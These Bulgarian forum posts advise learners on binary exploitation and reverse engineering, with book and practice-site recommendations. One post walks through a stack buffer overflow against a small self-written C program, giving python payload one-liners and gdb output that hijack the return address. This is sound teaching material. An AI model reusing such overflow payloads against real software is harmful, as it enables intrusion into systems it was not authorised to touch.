mrgray

Брат завърши си курса дето си започнал и поработи 2 години като програмист някъде.

За съжаление доста неща от тази книга няма да сработят в момента. Тук може да видиш по-подробно какви проблеми и в кои глави има. В момента и аз работя по книгата и доста малко от нещата тръгват. Примерно на глава 5 за Heap Exploitation редом с книгата прегледах и how2heap, докато ми се изясниха кои техники са илюстрирали в книгата. Според мен е важно ако нещо не ти тръгне да копаеш докато разбереш какво точно не тръгва. Ето например в този код, който си дал трябва да провериш дали сегмента заделен за shellcode променливата е executable като компилираш програмата. За да го провериш, ще трябва да знаеш как да работиш с gdb и objdump на базово ниво. Ако не знаеш как да бачкаш с тях ще се научиш преди да продължиш и т.н 🙂 Дори да не ти сработят примерите пак може да научиш много. За съжаление нямаш модерна енциклопедия за exploit-writing и трябва повече да рисърчваш и да събираш знание и сам да си сглабяш картинката.

Бих ти препоръчал да понаучиш по-добре какво се случва. Просто после ще изгубиш много бързо нишката, като минеш малко над базов buffer overrun в стека. Експлойтинга се състои от: откриване къде е уязвимостта/бъга правене на схема как да се експлоатира - заобикаляне на защити, проследяване на инпут, минаване на филтри, докато execute-неш exit() call примерно ( все едно правиш alert(1) като показваш XSS) писане на смислен shellcode който да върши нещо - отваряне на шел, code execution loop, etc Всяко едно от тези неща изисква техническа дълбочина. Пробвай да направиш каквото можеш все пак де. Почети малко от книгата и се пробвай на някое от: http://pwnable.kr https://exploit-exercises.com/protostar/ И действай сам. Няма да стане бързо, свиквай с тази мисъл.

Давай към crackmes. Трябва ти обща представа за x86 архитектурата и да се ориентираш (горе долу) като видиш дисасемблиран код. От там нататък действаш като редови дев - googling all the shit.

"The Art of Assembly Language" е супер дълга и не е много по същество. Да не говорим, че използва High Level Assembly, което освен в тая книга другаде не съм виждал да се ползва. Прочети 1-ва глава от "Practical Reverse Engineering", после виж LOLI crackmes и се запознай с radare2 и gdb - компилираш Hello World и го пускаш под дебъгър и дисасемблер, колкото да видиш скелета на програмата. Може да си помагаш на места с https://beginners.re/. RE4BE може да ползваш като референция за доизясняване и идеи за примерни програмки, не мисля че е подходяща да четеш от кора до кора. Инструкции, които не разбираш ги проверявай в Гугъл. Това естествено ще те бутне в посока Linux, но low level нещата под Linux са доста по-прости и удобни за начинаещи от Windows примерно. Линукс инструментите са по-дърварски, но концепциите са по-лесни за схващане. След като добиеш обща представа за нещата, се върни на "Shellcoder's Handbook". Прочети първите 5 глави и направи примерите. След това може да пробваш http://pwnable.kr/play.php. След това ще можеш сам да си прецениш какво да правиш Писането на експлойти обхваща много сфери. От разбиране за процесорна архитектура, през операционни системи до овладяване на инструментите за development ( компилатори, дебъгъри и др). Относно Gray Hat Hacking съм със смесени чуства. Има полезни неща вътре, но се опитват под една мишница всички дини да хванат. Предпочитам да чета по-фокусирана литература. Като ще уча binary exploitation ще се фокусирам там, няма да чета на следващата страница за ARP spoofing.

Ако говорим за binary exploitation за старт си мисля, че най-достъпно е обяснено в https://www.amazon.com/Shellcoders-Handbook-Discovering-Exploiting-Security/dp/047008023X . Правиш всичко до 5-та глава и ще имаш основата. Малко е старичка и има доста по-културни инструменти вече за работа, но нещата не са се променили особено и с малко старание примерите сработват. Ще видиш примерно как използват C и извънземни техники за deploy, които в момента ти костват 10 реда код на Python. Нещата с които ще се сблъскаш най-вече са дебъг инструменти и асемблер за съответната архитектура. Хубаво е да си се занимавал с reverse engineering защото binary exploitation-а надгражда там. Вече зависи с каква архитектура и ОС ще подхванеш. Примерно основни инструменти са: за Линукс - gdb+pwndbg/peda, radare2 за Windows - windbg, x64dbg

Първо инсталирай си сносен екстенд на gdb - може да пробваш peda или pwndb. Относно компилирането: -О0 е за да махне оптимизацията. Компилатора може да премахва dead code ако реши за да пести място, а never_called_function си е мъртъв код -fno-stack-protector ти компилира програмата без стек канарче, което е допълнителна защита, която проверява за buffer overrun. Махната е за да не усложни допълнително задачата -ggdb ти компилира в дебъг режим (лично го намирам за излишно) Ако това го пробваш на модерно Ubuntu считам следните неща за дадени: ASLR - рандомизация на адреси на стек и библиотеки NX - no execution bit системата е 64bit Преди да почнеш да трошиш е хубвао да си пуснеш core dump files: $> ulimit -c unlimited След това започваш да тестваш. Ако приемем, че системата ти е 64 битова, тогава адресите ти са 8 байта, следователно имаме: минимум 16 байта променлива frame pointer - 8 байта main() return address - 8 байта (тук пишеш адреса на never_called_function) never_called_function() return address - 8 байта (пожелателно е това да сочи към exit() за да не крашнем програмата) Та първия ми опит е нещо то сорта на: $> python -c "import struct;print 'a'*16 + 'b'*8 + 'c'*8 + 'd'*8" | ./program Естествено това крашва с core dump файл и гледаме какво се случва с: $> gdb ./program ./core "core" е името на core dump файла, който краша е направил. Под gdb намираме адреса на never_called_function(): pwndbg> print never_called_function $1 = {<text variable, no debug info>} 0x400596 <never_called_function> Евентуално търсим адреса на exit(), но ако имаш рандомизация на shared libs това няма да сработи. В този конкретен случай не можах да намеря добър изход и записах адреса на hlt инструкцията от _start стъба (заради който ще seg faul-нем): pwndbg> disassemble _start Dump of assembler code for function _start: 0x00000000004004a0 <+0>: xor ebp,ebp 0x00000000004004a2 <+2>: mov r9,rdx 0x00000000004004a5 <+5>: pop rsi 0x00000000004004a6 <+6>: mov rdx,rsp 0x00000000004004a9 <+9>: and rsp,0xfffffffffffffff0 0x00000000004004ad <+13>: push rax 0x00000000004004ae <+14>: push rsp 0x00000000004004af <+15>: mov r8,0x400650 0x00000000004004b6 <+22>: mov rcx,0x4005e0 0x00000000004004bd <+29>: mov rdi,0x4005ac 0x00000000004004c4 <+36>: call 0x400470 <__libc_start_main@plt> 0x00000000004004c9 <+41>: hlt End of assembler dump. В крайна сметка payload-а става: $> python -c "import struct;print 'a'*16 + 'b'*8 + struct.pack('<Q', 0x400596) + struct.pack('<Q', 0x4004c9)" | ./program Проследявайки го под gdb стъпка по стъпка виждам, че never_called_function() се изпълнява, но програмата все пак прави segmentation fault без да принтира Success. Това предполагам е заради буфериране на output буфера, който при краш не се flush-ва. Ако променя програмата на: #include <stdio.h> #include <stdlib.h> struct data { char a[10]; int b; }; void never_called_function() { printf("Success"); fflush( stdout ); } int main() { struct data d; scanf("%s", d.a); return 0; } и променя съответните адреси получавам: $> python -c "import struct;print 'a'*16 + 'b'*8 + struct.pack('<Q', 0x400616) + struct.pack('<Q', 0x400549)" | ./program SuccessSegmentation fault (core dumped) Забележка: В този конретен случай може да си позволим да използваме 0x00 байтове наляво и надясно, защото целия stdin се взима от scanf() без да му мисли много. В други случай ( мисля, че gets() е такъв пример) стринговете ще се прекъсват на първия NULL байт и там ще трябва да сме по креативни.

AirGis е програма за моделиране на въздушно замърсяване, а gephi - библиотека и инструментариум за визуализиране на големи графи. Не знам каква е фирмата, но най-вероятно някой е искал да си свърши работата по-скоро

Какво е "модерно" в момента? Лично мен статистиката и тоя хайп по big data така и не ме грабна. Имам познати астрономи и физици, които просто монетаризираха познанията си в хайпа, което е много хубаво Вероятно machine learning някакъв базов ще понауча по някое време, защото вече има пряка релевантност с Инфосек. Та сподели за cutting edge

Някой има ли идея това четиво да ли си струва: https://www.amazon.co.uk/gp/product/0985049146/ ?

Копането не е тренди от доста време. Хората се научиха, че се печели по-добре и по-умно от други дейности около криптовалутите. Имам познати които се занимават активно. Най-много са спекулантите - следят пикове спадове и купуват/продават.

Това за HackingTeam е един от най-добрите анализи на реален APT, които съм чел А това е човека зад проекта - https://en.wikipedia.org/wiki/Cthulhu_(developer) Стои зад dump-a на лични данни на над 70к турски граждани, както и няколко други проекта с които си беше събрал гнева на много хора.

След дискусията в чата ще сумирам основните неща в тема Та относно езикът C: В основата си е направен за low level програмиране. Денис Ричи го измисля за да пренапишат Unix от асемблер на език на по-високо ниво за да се портва по-лесно от една архитектура на друга. Пишеш на C Unix един път - компилираш го с компилатор за съответната архитектура много пъти. Езика е много прост и синтаксиса му може да се научи за седмица, но работи с low level концепции като указатели и памет. Най-големия му трън е че менажирате заделянето и освобождаването на памет на ръка (всеки език от високо ниво с който сме свикнали да работим го прави това автоматично). Освен това няма проверки за границите на масиви и променливи - съвсем спокоино може да запишете 50 елемента в масив за 10 елемента. От една страна това е добре, тъй като Инфосек щеше да е доста скучно място без buffer overflow и heap overflow уязвимости, от друга е кофти когато ти криптират работните документи заради уорм от мрежата Пояснение: Да сме наясно ANSI C НЕ Е C++. C++ е отделна тема. Човекът зад него е Строустръп и езикът е съвсем друго недоразумение, което може да обхване flame war от няколко десетки страници Книги (лични преференции): https://www.amazon.co.uk/d/cka/Programming-Language-Kernighan-Published-Prentice-second-Paperback/0876925220 https://www.amazon.co.uk/d/cka/C-Programming-Modern-Approach-K-N-King/0393979504/ Статии: http://www.gamasutra.com/view/news/126423/Opinion_The_Demise_Of_The_Low_Level_Programmer.php

RCTF/easyre Това е едно от лесните RE задачки. Има интересни моменти в нея: използване на int 0x80 системни извиквания комуникация м/у процеси и използване на fork(), execve() мъртъв код и нужда от пачване За подробности може да видите скриптовете тук

Запазих някои от задачите от вече миналото RCTF - https://ctf.teamrois.cn/ на https://github.com/mr6r4y/re-write-ups/tree/master/crackmes/RCTF